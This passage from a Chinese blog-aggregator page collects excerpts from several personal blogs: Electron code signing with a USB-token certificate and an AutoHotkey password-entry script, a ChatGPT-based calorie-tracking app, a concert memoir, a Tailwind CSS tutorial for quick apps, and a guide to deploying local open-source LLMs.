~/Library/Caches/electron-builder/winCodeSign/winCodeSign-2.6.0/windows-10/目录下，把x64目录复制一份，并重命名为arm64即可。接下来，应该就能给 Electron 的 exe 文件顺利地签名了。
改进
签名虽然能顺利完成，但过程中却会多次出现密码输入框，如下图所示：
这个密码输入过程不但烦琐，还让命令无法自动完成，因为每次流程都会被卡住，需要手工输入密码。
按理这个地方应该有更优雅的做法，electron-builder 的文档中也提到了
certificatePassword、CSC_KEY_PASSWORD等参数，但我试了多次却总是不能生效。最后，我写了一个简单的 AHK 脚本解决了问题。脚本内容如下：
Loop { If WinExist("设备登录", "令牌密码") { WinActivate Sleep 500 Send "{Raw}YOUR_PASSWORD" Send "{Enter}" } Sleep 1000 }注意将其中的
YOUR_PASSWORD替换为你的密码。当然，你也可以将密码保存在环境变量中，然后在 AHK 脚本中从环境变量读取。小结
U 盾代码签名证书的购买、使用都比之前的数字证书要麻烦，不过为了提升用户下载、安装软件的体验以及安全性，这个证书还是值得的。
这个签名证书需要安装在 Windows 中，不过 macOS 上的 Parallels 虚拟机也可以。
一些相关事项也可以看我一年前写的数字证书的用法。
- 博客 maxOS 2023-07-31 23:56:07好奇心是进步的关键，如果你看不到未来，这很正常，没有人看到的，但保持好奇心总是不会错的，去了解那些你不曾知道的事物，去你不曾去过的地方，要让自己的路越早越宽，才能「适应」这瞬息万变的世界。
- 博客 二丫讲梵 2023-07-31 01:51:16如要阅读全文，点击标题跳转。前言少叙：人有很多面，有勇敢的一面，有怯弱的一面，有阳光的一面，有阴暗的一面。困难的是，如何面对自己真实的那一面。此文写于 2012 年底，彼时我时年十七岁，在无尽的性苦闷之中，用文字记录下了一个阶段真实的自己。直至此刻，我仍是所谓的处男。尽管“心之所向”，尽管“浮想联翩”，尽管“梦里桃花”，我仍然封建地“守身如玉”着。再有不到半年我就十八了，何日“落水”，何时“下锅”，我不得而知。
- 博客 王登科-DK博客 2023-07-31 01:21:06就像秋天洄游的鲑鱼，或者冬天南飞的候鸟一样，每到夏天，我就会开始减肥。 我倒并不一定非要减多少，但夏天尽可能瘦一点，已经成了我的一种习惯，这可能是为了在天气变冷时可以放心的吃更多食物，也可能是我内心深处还是有一点对自己身材的包袱，我说不好。 从 6 月开始，我开始有意识的计算每天的食物摄入热量，并制造一个热量缺口。 整个 6 月份下来，我瘦了大约 8 斤，7 月到现在，又差不多瘦了 7 斤，总共有差不多 15 斤，我妈都觉得我瘦了不少（忽略手臂的色差）
因为这次减肥比之前都更顺利一点，所以激发了我的好奇心，我开始好奇自己究竟有几块腹肌，这一点暂时还无法验证，但有望在这个夏天结束前揭晓。
在减肥的过程中，我认为核心是制造热量缺口，这是最简单，也最本质的办法。
过去的 2 个月，我每天都会计算热量缺口，一开始我用我在网上下载的一些热量记录的 app 来确定我的摄入热量，一个标准的使用流程是：
- 我输入我吃的一个食物，例如一个馒头
- 点击搜索，看到一大堆搜索列表
- 点击「馒头」，把它选中
- 弹出重量选择，默认是100g
- 我琢磨一下，猜测我吃的那个馒头比较小，可能是 50g，手动调整成 50g
- 点击确认
在这个场景下，它回答不知道是比它瞎说要好的，但考虑到食物种类的繁多，单纯用 chatGPT 似乎无法实现我的需求。
我开始琢磨新的办法，我从网上找到了几个食物数据库，包括美国 usda 的数据库，然后做了简单的数据清洗，将其制作成一个涵盖了10万种食物和原材料的数据库，接下来，我降低了 chatGPT 的工作量，仅仅让其拆解出句子里的食物，并预估重量，专业的热量和营养元素的计算则对接食物数据库来进行，而不是依靠 chatGPT 的「知识」。
完成这个处理后，我发现其识别效果和最终结果都好了一大截，我开始从这个核心的功能开始，去写一个新的 app，我每天晚上大概写2个小时，最终花了半个多月，完成了这个新的 APP。
我给它取名字叫 FoodCa，可以理解为Food+Calorie，也可以理解为伏特加的卖萌读法，看你喜欢。
这个 app 实现了我对一个极简的热量记录工具的全部要求，例如，直接说出你今天一天吃的东西，自动识别，拆解，预估重量，得到热量和营养元素：
非常简单，但是又挺好看（我自己认为）的数据图，能大概看看
此外，为了增加一点记录的趣味性，我还做了一个「AI营养师」的功能，如果你有记录，那么每天晚上9点，可以召唤它来给你写一条评论，它会根据你当天的食物摄入来非常友好的给你一些建议：
很惭愧，我两年前就自学了 swiftUI 来写 iOS app，但是这两年可以说毫无长进，这次开始写新 app，本以为会驾轻就熟，结果发现我差不多忘的精光了，因此开头的几天我的进度极慢，几乎可以称之为「找回记忆」的阶段，我温习了swiftUI 的很多基础，大概一周后，进展才开始变得顺利一点。
因为我每天只在下班后的晚上写，所以写了很久，几天前我终于把 foodCa 写的差不多，提交了 AppStore审核并通过了，至此，一个新的小产品算是开发完成了。
我自己通过 testflight 安装的测试版本，我已经用了半个月，每天记录热量摄入变得更加简单轻松，甚至更有趣（不确定是不是因为我自己做的所以有感情分），这是我个人的一个小产品，虽然放入了基础的商业模式（卖3块钱的会员，因为我也要给 chatGPT 交钱），但大概率没办法成为一个多么赚钱的产品，它没有什么天花板，护城河，也没有什么壁垒，我猜现在可能就有高仿的产品正在开发中。
但是啊，我自认为这依然是一个值得骄傲的产品，某种程度上，这是将 AI 能力，用于一件实际的事情的范例，我已经看到太多聊天框，文本框了，似乎我们提到 chatGPT 或者别的什么文本大模型，就只能想到聊天，对话，文本生成，也正因为如此，AI圈继元宇宙之后成为了神棍和骗子的天堂。
要么就做更单纯且有趣的事情，要么，就将 AI 用在更加实际，更加落地，看得见，摸得着的地方，只有这样，AI 呼啸而来之时（这几乎无可避免），才能把我们托起来，而非淹没。不过我对这一点并不是特别乐观，但我动了脑子了，也做了一些努力了。
如果你对我的这个小产品感兴趣，或者好奇将 AI 用在食物热量记录上是一种怎么样的体验，又恰好你用的是 iPhone，不妨去下载一个试试看，你可以直接在 AppStore 搜索 FoodCa，或者点击下面的链接也能下载。
FoodCa：https://apple.co/47egICL - 博客 Amicoyuan的高性能计算世界 2023-07-30 23:03:00
Greyson Chance 2023 Beijing
总结
记得最早开始听，应该是在初中，从最初的No Fear到后来的最爱的Seasons。他19年来中国我是完全不知道，都是大学开班会，同学看到我头像加了我，我才知道，这次也是在她朋友圈看到了消息，哈哈哈哈，respect！这次终于赶上了！
哈哈哈哈哈哈，这次认识了好多新朋友，大家都好nice，白玫瑰小队下次又见！我甚至连之前一直在B站看的Seasons杭州场的MV的up都认识了，属于说非常巧了。
现场真的好震撼，导致我回去久久不能平复，GC真的行走的CD哈哈哈。我给他说能不能唱Seasons，他说抱歉，希望你能享受今晚。上大学后我其实很少关注GC了，但是Seasons总会在一年的那么些日子里单曲循环，新专辑更是听都没听过，4月后我就开始慢慢听着新专辑的歌，期待现场见了哈哈！
结束后我又想了想，初中，高中，大学，疫情，好像时间真的过得很快，转眼间我都毕业了。这次我真的感到好像当年自己青春的遗憾慢慢画上一个感叹号了！
愿我一直No Fear，
Move forword like the seasons！
全场视频
- 博客 Randy's Blog 2023-07-30 08:00:00664
- 博客 二丫讲梵 2023-07-28 09:18:28如要阅读全文，点击标题跳转。学习周刊-总第117期-一款值得关注了解的开源CMDB平台
- 博客 Amicoyuan的高性能计算世界 2023-07-28 08:06:00
- 博客 二丫讲梵 2023-07-21 17:17:45如要阅读全文，点击标题跳转。学习周刊-总第116期-一款扫描代码中是否包含秘钥敏感信息的工具
- 博客 晚晴幽草轩 2023-07-19 20:20:00
Tailwind CSS，在 Web 开发领域，已经成为各种框架、开发人员标配；已经有大量实例证明，基于
Tailwind CSS来编写样式，可以为开发者节省诸多时间；而且，能够优化减小代码体积、提升运行性能，是非常棒的技术套件。 快应用 开发，同样基于 Web 技术栈，理论上也完全可以使用 Tailwind CSS；在实际开发过程中，该如何使用 Tailwind CSS 呢？本文旨在对此做些许分享。Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件和任何其他模板的类名，生成相应的样式，然后将它们写入静态 CSS 文件。它快速、灵活、可靠，且运行时间为零。官方提供 Tailwind CLI 、PostCSS、Play CDN 等使用方式；下面主要讲下如何基于 Tailwind CLI 方式，在应用开发中使用 Tailwind CSS：
Tailwind CSS 可为快应用开发带来哪些好处？
Tailwind CSS 是一种现代的 CSS 框架，它提供了一组预定义的 CSS 类，用于快速开发现代 Web 应用程序。Tailwind 的核心理念是为开发者提供一种灵活的方法来构建自定义的 UI 组件，而不需要编写大量的 CSS 代码。
Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件和任何其他模板的类名，生成相应的样式，然后将它们写入静态 CSS 文件。它快速、灵活、可靠，且运行时间为零。
在快应用开发中引入，可以为项目带来四方面的好处：更快的编写效率、更小的代码总体积、更高的运行效率、更易于项目维护。更详细说明如下：
- 预定义的 CSS 类可以减少样式的冗余，从而减小 CSS 文件的体积。
- 大量配套设施，可以提高开发效率，不必手动编写大量的 CSS 代码。
- 提供了自动优化工具，可以删除未使用的 CSS 代码。
- 代码体积减小，可以减少下载、加载、解析等步骤耗时。
- 使 CSS 样式更规范化，避免冗余的样式和复杂的选择器，优化性能。
- 拥有活跃的社区和文档，可以帮助开发者快速上手和解决问题。
Tailwind CSS：当今最流行 CSS 框架；相信借助其巧妙设计、结合强大生态，您也会偏爱用它来塑造 UI；如果必须要手动编码：那无需频繁滚动编辑区，无需于 template 与 style 之间横跳，无需绞尽脑汁为类命名，无需再编写重复的 CSS……是多么美妙。
如何在项目中使用 Tailwind CSS？
安装 Tailwind CSS 依赖
通过 npm 安装
tailwindcss并创建tailwind.config.js文件，具体命令如下：1234pnpm install -D tailwindcss# OR# npm install -D tailwindcssnpx tailwindcss init配置您的模板路径
在文件中添加所有模板文件的路径
tailwind.config.js，参考性配置如下：123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192const colors = require('tailwindcss/colors')const selfCustomColors = {brand: {DEFAULT: '#1e293b',},warn: {DEFAULT: '#f59e0b',},link: {DEFAULT: '#0ea5e9',},mark: {DEFAULT: '#ff4582',},}module.exports = {mode: 'jit',content: ['./src/**/*.{ux,html,js,svelte,vue,ts}','./node_modules/flowbite/**/*.js',],purge: {enabled: true,content: ['./src/**/*.{ux,html,js,svelte,vue,ts}','./node_modules/flowbite/**/*.js',],},// https://tailwindcss.com/docs/configuration#core-pluginscorePlugins: {preflight: false, // disable base/reset stylescontainer: false, // disable container componentcontent: false, // disable `content` utilityaccentColor: false, // disable `accent-color` utilityaccessibility: false, // disable `appearance` utilityappearance: false, // disable `appearance` utilityaspectRatio: false, // disable `aspect-ratio` utilitybackgroundOpacity: false, // disable `background-opacity` utilitybackdropBlur: false, // disable `backdrop-blur` utilitybackdropBrightness: false, // disable `backdrop-brightness` utilitybackdropContrast: false, // disable `backdrop-contrast` utilitybackdropGrayscale: false, // disable `backdrop-grayscale` utilitybackdropHueRotate: false, // disable `backdrop-hue-rotate` utilitybackdropInvert: false, // disable `backdrop-invert` utilitybackdropOpacity: false, // disable `backdrop-opacity` utilitybackdropSaturate: false, // disable `backdrop-saturate` utilitybackdropSepia: false, // disable `backdrop-sepia` utilityblur: false, // disable `blur` utilityborderCollapse: false, // disable `border-collapse` utilityborderOpacity: false, // disable `border-opacity` utilityborderSpacing: false, // disable `border-spacing` utilityboxShadow: false, // disable `box-shadow` utilityboxShadowColor: false, // disable `box-shadow-color` utilityboxDecorationBreak: false, // disable `box-decoration-break` utilityboxSizing: false, // disable `box-sizing` utilitybreakAfter: false, // disable `break-after` utilitybreakBefore: false, // disable `break-before` utilitybreakInside: false, // disable `break-inside` utilitybrightness: false, // disable `brightness` utilitycaptionSide: false, // disable `caption-side` utilitycaretColor: false, // disable `caret-color` utilityclear: false, // disable `clear` utilitycontrast: false, // disable `contrast` utilitydivideColor: false, // disable `divide-color` utilitydivideOpacity: false, // disable `divide-opacity` utilitydivideStyle: false, // disable `divide-style` utilitydivideWidth: false, // disable `divide-width` utilityfloat: false, // disable `float` utilityfontVariantNumeric: false, // disable `font-variant-numeric` utilityhyphens: false, // disable `hyphens` utilityisolation: false, // disable `isolation` utilitylineClamp: false, // disable `line-clamp` utilitymixBlendMode: false, // diable `mix-blend-mode` utilitylistStyleImage: false, // disable `list-style-image` utilitylistStylePosition: false, // disable `list-style-position` utilitylistStyleType: false, // disable `list-style-type` utilityobjectPosition: false, // disable `object-position` utilityopacity: false, // disable `opacity` utilityoutlineColor: false, // disable `outline-color` utilityoutlineOffset: false, // disable `outline-offset` utilityoutlineStyle: false, // disable `outline-style` utilityoutlineWidth: false, // disable `outline-width` utilityoverscrollBehavior: false, // disable `overscroll-behavior` utilityplaceContent: false, // disable `place-content` utilityplaceItems: false, // disable `place-items` utilityplaceSelf: false, // disable `place-self` utilityplaceholderOpacity: false, // disable `placeholder-opacity` utilityresize: false, // disable `resize` utilityringColor: false, // disable `ring-color` utilityringOffsetColor: false, // disable `ring-offset-color` utilityringOffsetWidth: false, // disable `ring-offset-width` utilityringOpacity: false, // disable `ring-opacity` utilityspace: false, // disable `space-between` utilitytextDecorationThickness: false, // disable `text-decoration-thickness` utilitytextOpacity: false, // disable `text-opacity` utilitytextTransform: false, // disable `text-transform` utilitytextUnderlineOffset: false, // disable `text-underline-offset` utilitytouchAction: false, // disable `touch-action` utilityuserSelect: false, // disable `user-select` utilityverticalAlign: false, // disable `vertical-align` utilitywhitespace: false, // disable `whitespace` utilitywordBreak: false, // disable `word-break` utilitywillChange: false, // disable `will-change` utility},darkMode: false,theme: {colors: { ...colors, ...selfCustomColors },extend: {width: ({ theme }) => ({auto: 'auto',...theme('spacing'),}),height: ({ theme }) => ({auto: 'auto',...theme('spacing'),}),spacing: {'1/2': '2px','1': '4px','3/2': '6px','2': '8px','5/2': '10px','3': '12px','7/2': '14px','4': '16px','5': '20px','6': '24px','7': '28px','8': '32px','9': '36px','10': '40px','11': '44px','12': '48px','14': '56px','16': '64px','20': '80px','24': '96px','28': '112px','32': '128px','36': '144px','40': '160px','44': '176px','48': '192px','52': '208px','56': '224px','60': '240px','72': '288px','80': '320px','96': '384px',},borderWidth: {'DEFAULT': '1px','0': '0px','2': '2px','4': '4px','8': '8px',},borderRadius: {'none': '0','': '1px','sm': '2px','DEFAULT': '4px','md': '6px','lg': '8px','xl': '12px','2xl': '16px','3xl': '24px',},fontSize: {'xm': ['12px', { lineHeight: '16px' }],'sm': ['14px', { lineHeight: '20px' }],'base': ['16px', { lineHeight: '24px' }],'lg': ['18px', { lineHeight: '28px' }],'xl': ['20px', { lineHeight: '28px' }],'2xl': ['24px', { lineHeight: '32px' }],'3xl': ['30px', { lineHeight: '36px' }],'4xl': ['36px', { lineHeight: '40px' }],'5xl': ['48px', { lineHeight: '60px' }],'6xl': ['60px', { lineHeight: '60px' }],'7xl': ['72px', { lineHeight: '60px' }],'8xl': ['96px', { lineHeight: '60px' }],'9xl': ['128px', { lineHeight: '60px' }],}},},variants: {extend: {},},plugins: [],}将 Tailwind 指令添加到您的 CSS 中
@tailwind将 Tailwind 每个层的指令添加到您的主 CSS 文件中。12345/* input.css *//* @tailwind base; */@tailwind components;@tailwind utilities;启动 Tailwind CLI 构建过程
运行 CLI 工具来扫描模板文件中的类并构建 CSS，参考性命令如下：
1npx tailwindcss -i ./src/input.css -o ./src/output.css --watch这是看起来路径简短的方式，实际上这个
input.css和output.css，无论是名字，或是它存在的路径，皆可以自行指定，您可以按照自己喜欢的方式、或是团队约定俗成的形式；譬如统一存放在：src/assets/styles目录下。需要补充说明的是：在团队开发中，输入上述命令，略显繁琐，可以在
package.json注入命令（如下示例）；如此以下，您只需在「终端」运行pnpm tailwindcss或npm run tailwindcss命令即可。123"scripts": {"tailwindcss": "npx tailwindcss -i ./src/input.css -o ./src/output.css --watch",}开始在 UX 中使用 Tailwind CSS
将已编译的 CSS 文件，在
.ux（非app.ux）文件中，通过@import方式引入；123<style>@import './../../output.css';</style>现在，即可在
.ux的template中，开始使用 Tailwind 的实用程序类来设置内容的样式，如下面这段代码示例：123456<template><div class="bg-blue-300 w-full flex flex-col justify-center items-center"><text class="text-red-600">TailwindCSS Area</text><text class="text-red-600">Awesome TailwindCSS</text></div></template>当您写完保存之后，打开
output.css即可如下的 CSS 代码：1234567891011121314151617181920212223242526272829/* @tailwind base; */.flex {display: flex}.w-full {width: 100%}.flex-col {flex-direction: column}.items-center {align-items: center}.justify-center {justify-content: center}.bg-blue-300 {background-color: #93c5fd}.text-red-600 {color: #dc2626}至此，在 快应用 开发中引入 Tailwind CSS 的准备工作，已经初步完成，您可以与
Tailwind CSS开启愉快合作之旅，从而促使高效编码、提前完工。假如，您对Tailwind CSS尚不熟悉，可通过查阅 Tailwind CSS Doc ，亦可在线体验—— Tailwind Playground 。需要补充说明的是，使用
Tailwind CSS并不破坏您原来的 CSS 书写✍🏻方式；您完全可以结合喜欢的预处理器（如 Sass、Less、Stylus），来共同工作，而无需做更多设置（如下代码示例）；但我以为当您熟悉 Tailwind CSS 之后，大有可能也会“移情而别恋”。123456789101112<style lang="scss">@import './../../assets/styles/style.scss';@import './../../assets/styles/output.css';.primary-btn {width: 90 * $size-factor;height: 16 * $size-factor;background-color: $brand;border-radius: 8 * $size-factor;color: $white;}</style>如何基于 Tailwind CSS 提升开发效率？
安装 Tailwind CSS IntelliSense 扩展
您可以在应用开发工具的「扩展市场」，通过关键字
Tailwind检索”Tailwind CSS IntelliSense“扩展——适用于 Visual Studio Code 的智能 Tailwind CSS 工具，用户提供自动完成、语法突出显示和 linting 等高级功能来增强 Tailwind 开发体验；略作适配即可支持*.ux；详细设置，可参见： Tailwind CSS IntelliSense 。
默认情况下，编辑“字符串”内容时（例如在 JSX 属性值中），开发工具中不会触发完成。更新设置
editor.quickSuggestions可能会改善您的体验：123"editor.quickSuggestions": {"strings": "on"}参考基于 Tailwind CSS 组件的开源库
Tailwind CSS 生态发展繁荣超乎想象，就连其衍生产品也不可胜数；如 Flowbite ——包含 600 多个 UI 组件、部分和页面的开源库进行开发，该库使用 Tailwind CSS 的实用程序类构建并在 Figma 中设计。它不仅能充当 Tailwind CSS 插件使用，也可以拷贝到项目直接使用，还可以在线查阅效果（支持多种屏幕设备类型），挑选匹配实现方案；在仍是基于组件树构建页面的时代，极大提升页面搭建效率。如： pagination 组件：
常见问题及说明
如果您熟悉 Web 开发，针对上述教程，您可能会有诸多疑惑；实际上，笔者在实践之时，也有发现，只不过因为各种机制限制，目前只能如此。下面就与诸君分享，期可解惑：
不能在
script标签中，引入输出 CSS 文件么？按 Web 开发习惯，在
app.ux文件中可以直接import输出 CSS 文件（如下代码所示），那为何未建议如此呢？123<script>import './output.css'</script>因为这样做会报如下错误；具体是缺乏与之匹配的 loader；当然，可以使用
css-loader和style-loader来处理 CSS 文件，详见 ChatGPT | You may need an appropriate loader…. 。123You may need an appropriate loader to handle this file type, currently no loaders are configured to process this file. See https://webpack.js.org/concepts#loaders| /* @tailwind base; */但在快应用开发过程中，却不能生效；因为 style-loader 的作用是将 CSS 注入 DOM，其中用到了诸多浏览器 API（document），而快应用的开发虽然是基于前端技术栈，但其运行环境止于
v8，实际的渲染是由 Android 底层完成，并未走浏览器这条路，因此无法工作。在构建工具优化、兼容之前，通过style标签中引入 CSS，成了主要选择。为何在
tailwind.config.js禁用如此多样式？Tailwind corePlugins 部分允许您完全禁用 Tailwind 通常默认生成的类（如果您的项目不需要它们）；这个设计对于快应用实在必要的紧，在上述示例中，对
text-opacity等样式进行禁用，也是无奈之举。具体原因在于以下两点：其一：快应用标准虽然基于 Web 技术栈，但只是 Web 标准子集，如蛮多 CSS 属性并不能很好的支持；其二：默认情况下，TailwindCSS 会将样式属性的值存储为 CSS 变量（例如
--tw-text-opacity），以便进行动态计算和响应式设计。如此一来，在 template 中使用类
text-red-300、border-spacing-1，输出的便是如下 CSS；这样的写法，在快应用中并不能得到正确解析，也就无法起到期待效果，于是禁用便成了必须要做之事。当然，这样禁用也好处：利于输出更小提及的 CSS 文件。其他属性亦复如是。123456789.text-red-300 {--tw-text-opacity: 1;color: rgb(252 165 165 / var(--tw-text-opacity))}.border-spacing-1 {--tw-border-spacing-x: 4px;--tw-border-spacing-y: 4px;border-spacing: var(--tw-border-spacing-x) var(--tw-border-spacing-y)}为何要在
input.css中移除@tailwind base;？这么做主要未解决问题： How disable default styles for : before and : after 。
12345/* input.css *//* @tailwind base; */@tailwind components;@tailwind utilities;在一般 Web 开发过程中，会将 base、components、utilities 等指令，都添加到 CSS 文件项目中；但，在快应用开发过程中，这无疑是累赘；因为它的存在，会使得
output.css输出较多对项目没有裨益额外内容（如下代码所示），故而移除；这与通过 corePlugins 禁用基础样式（preflight）、禁用容器组件（container）作用类似。12345678*, ::before, ::after {--tw-border-spacing-x: 0;......}::backdrop {--tw-border-spacing-x: 0;......}为什么要在配置中通过
theme自定义长度单位？修改长度单位从
rem到px，这也是不得已而为之。 快应用 标准对 长度单位 的支持，在 1070 及以下版本仅支持长度单位px和%。从1080版本开始，新增了长度单位dp。它无法支持rem，就只能自定义设置为px；在通过theme自定义长度单位，是 Tailwind CSS 官方提供的功能，以此能够实现更精细的样式控制；虽然操作不难，但属性较多、约定繁杂。后续时间如果允许，将探索rem to px批量转换插件来实现，以达到快速修改。如果您感兴趣，可以查阅 Tailwind CSS 完整版本配置—— config.full.js 。其他暂未解决问题
- 少部分类名写法，快应用构建不支持
在 Tailwind CSS 机制中，支持使用类名诸如
h-[100px] w-1/3（对应生成 CSS 如下），然而，在快应用构建工具暂不支持这类名，于是乎这样写便不会生效，当然也不会造成什么问题；后续亟待打包工具优化。123456.h-\[100px\] {height: 100px}.w-1\/3 {width: 33.333333%}在打包（Toolkit）未解决该问题之前，您可以手动写一个
class，或者使用内联样式（style）来兼容；在这种情况下，更推荐后者；因为引入 Tailwind CSS 的开发模式中，基本不用手写 class，即无需滚动到style标签或跳转 less、(s)css、文件，那么直接在template中使用内联更为便捷。1234567<div class="training-list-width" style="width: 326px;"></div><style>.training-list-width {width: 326px;}</style>- 快应用构建，资源存在重复引用问题
前文中提到，在
script标签中importCSS 资源，暂时未得到支持；但，在style标签中@import的 CSS 文件，被 A、B 两个页面（*.ux）引入，那么对应的 css 内容，就会被打入对应页面（即便有的内容没有被使用），从而导致代码体积略有增加（即便参考 如何优化「快应用」rpk 包体积？ 一文中的方法，也不可避免）。这是快应用构建本身存在的问题，使用 Tailwind CSS 也不例外。后续需要打包工具优化。以上，就是在
快应用开发过程中，引入 Tailwind CSS 所需的操作、以及常见问题说明。肯定还有异常更多情况没有考虑到，后续会逐步补充；如果您在实际运用过程中，欢请留言交流、反馈、分享。2023 年 07 月 05 日写于〔深圳福田〕
猜您可能感兴趣的文章
- 快应用如何基于真机调试正式包（rpk）？
- 快应用如何快速安装并运行 rpk 包？
- 快应用如何基于 watch computed 监听多个变量？
- 如何在快应用开发中使用 vuex 做状态管理
- 快应用 IDE 配置 babel.config.js 的前世今生
- 快应用开发工具入门介绍
- Chrome 为何无法通过 url 拉起快应用？
- 团队开发快应用，如何统一代码风格？
- 如何用 Prettier 美化您的快应用代码？
- 如何通过 IDE 的预检测功能提高审核通过率
- 如何优雅地配置快应用的代码片段
- 如何基于 Typescript 开发快应用
- 快应用开发中，如何区分各种环境？
- 快应用官方加载动画库：qa-spin
- 博客 LoRexxar's Blog 2023-07-19 18:18:59
其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，打造一个自己的AIGC应用已经非常简单了。
基础环境
我们需要配置一个环境
- python3.8+，不要太新
- CUDA+环境
- pytorch
- 支持C++17的编译器
首先我比较推荐你配置一个anaconda的环境，因为pytorch的其他安装方法真的很麻烦
然后你需要安装CUDA的环境，正常来说只需要下载对应的CUDA版本即可
然后就是安装pytorch的环境，这个环境比较麻烦，正常来说通过conda来安装是比较靠谱的办法，当然有些时候就是安不了。
如果安装不成功，就只能用源码来编译了。
首先，clone一下源码
1
2
3
4
5git clone --recursive https://github.com/pytorch/pytorch
cd pytorch
# if you are updating an existing checkout
git submodule sync
git submodule update --init --recursive然后安装一下对应的各种依赖
1
2
3
4
5
6
7
8conda install cmake ninja
# Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below
pip install -r requirements.txt
conda install mkl mkl-include
# Add these packages if torch.distributed is needed.
# Distributed package support on Windows is a prototype feature and is subject to changes.
conda install -c conda-forge libuv=1.39然后windows的源码编译有点儿复杂，具体要参考各种情况下的编译
在编译这个pytorch这个东西的时候我遇到过贼多问题，其中大部分问题我都搜不到解决方案，最终找到的最靠谱的方案是，不能用太低或者太高版本的python，会好解决很多，最终我选择了用3.10版本的python，解决了大部分的问题。
另外就是如果gpu不是很好或者显存不是很高，也可以使用cpu版本，大部分电脑的内存都会比较大，起码能跑起来。
如果是windows，那一定会用到huggingface，有个东西我建议一定要注意下。
默认的huggingface和pytorch的缓存文件夹是在～/.cache/下，是在c盘下面，而一般LLM的模型文件都贼大，很容易把C盘塞满，这个注意要改下。
在环境变量里加入**HF_HOME和TORCH_HOME ，设**置为指定变量即可。
除此之外，有的项目也会提供docker化的部署方案，如果采用这种方案，就必须在宿主机安装NVIDIA Container Toolkit，并重启docker
1
2
3sudo apt-get install -y nvidia-container-toolkit-base
sudo systemctl daemon-reload
sudo systemctl restart docker进阶构成
LLM
LLM全称**Large Language Model，大语言模型，是以ChatGPT为代表的ai对话核心模块，相比我们无法控制、训练的ChatGPT，也逐渐在出现大量的开源大语言模型，尤其是以ChatGLM、LLaMA**为代表的轻量级语言模型相当好用。
虽然这些开源语言模型相比ChatGPT差距巨大，但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品，不如说这些开源大语言模型的出现，意味着我们有能力打造自己的GPT。
- ChatGLM-6B
- https://github.com/THUDM/ChatGLM-6B
- ChatGLM2-6B
- https://github.com/THUDM/ChatGLM2-6B
目前中文领域效果最好，也是应用最多的开源底座模型。大部分的中文GPT二次开发几乎都是在这个模型的基础上做的开发，尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。
MOSS是一个支持中英双语和多种插件的开源对话语言模型，moss-moon系列模型具有160亿参数，在FP16精度下可在单张A100/A800或两张3090显卡运行，在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。
一系列基于RWKV架构的Chat模型（包括英文和中文），发布了包括Raven，Novel-ChnEng，Novel-Ch与Novel-ChnEng-ChnPro等模型，可以直接闲聊及进行诗歌，小说等创作，包括7B和14B等规模的模型。
LLM的基座模型说实话有点儿多，尤其是在最开始的几个开源之后，后面各种LLM基座就像雨后春笋一样出现了，比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大，大部分的模型只能达到GPT3的级别，距离GPT3.5都有几个量级的差距，更别提GPT4了。
给大家看一个通过一些标准排名出来的LLM排行榜，这个说法比较多，一般就是看样本集的覆盖程度。
Embedding
Embedding 模型也是GPT的很重要一环，在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。
所以也就衍生出了不少的开源Embedding模型
- https://huggingface.co/GanymedeNil/text2vec-large-chinese
- https://huggingface.co/shibing624/text2vec-base-chinese
gradio
gradio是一个非常有名的机器学习用于数据演示的web框架。通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask
首先要注意gradio最起码python在3.8版本以上.
1
2
3
4
5
6
7
8import gradio as gr
def greet(name):
return "Hello " + name + "!"
demo = gr.Interface(fn=greet, inputs="text", outputs="text")
demo.launch()
gradio支持非常多这类的常用场景，就比如文本、勾选框、输入条，甚至文件上传、图片上传，都有非常不错的原生支持。
FastChat
FastChat是一个在LLM基础上构筑的一体化平台，FastChat是基于LLaMA做的二次调参训练。
1
pip3 install fschat
正常使用需要用机器生成Vicuna模型，将LLaMa weights合并Vicuna weights。而这个过程需要大量的内存和CPU，官方给出的参考数据是
- Vicuna-7B：30 GB of CPU RAM
- Vicuna-13B：60 GB of CPU RAM
如果没有足够的内存用，可以尝试下面两个办法来操作一下：
1、在命令中加入–low-cpu-mem，这个命令可以把峰值内存降到16G以下
2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存
1
2
3
4
5
6
7
8
9python3 -m fastchat.model.apply_delta \
--base-model-path /path/to/llama-7b \
--target-model-path /path/to/output/vicuna-7b \
--delta-path lmsys/vicuna-7b-delta-v1.1
python3 -m fastchat.model.apply_delta \
--base-model-path /path/to/llama-13b \
--target-model-path /path/to/output/vicuna-13b \
--delta-path lmsys/vicuna-13b-delta-v1.1下载完模型文件之后，可以快捷的使用对应的模型
1
python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5-3b-v1.0
相比其他的基座模型LLM，FastChat的平台化程度就比较高了。
首先提供了controller和model worker分别部署的方案，一对多的方案本身比较符合项目化的结构。
1
2
3python3 -m fastchat.serve.controller
python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights而且同样利用gradio构建了相应的web界面
1
python3 -m fastchat.serve.gradio_web_server
除此之外FastChat还提供了和openai完全兼容的api接口和restfulapi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import openai
openai.api_key = "EMPTY" # Not support yet
openai.api_base = "http://localhost:8000/v1"
model = "vicuna-7b-v1.3"
prompt = "Once upon a time"
# create a completion
completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=64)
# print the completion
print(prompt + completion.choices[0].text)
# create a chat completion
completion = openai.ChatCompletion.create(
model=model,
messages=[{"role": "user", "content": "Hello! What is your name?"}]
)
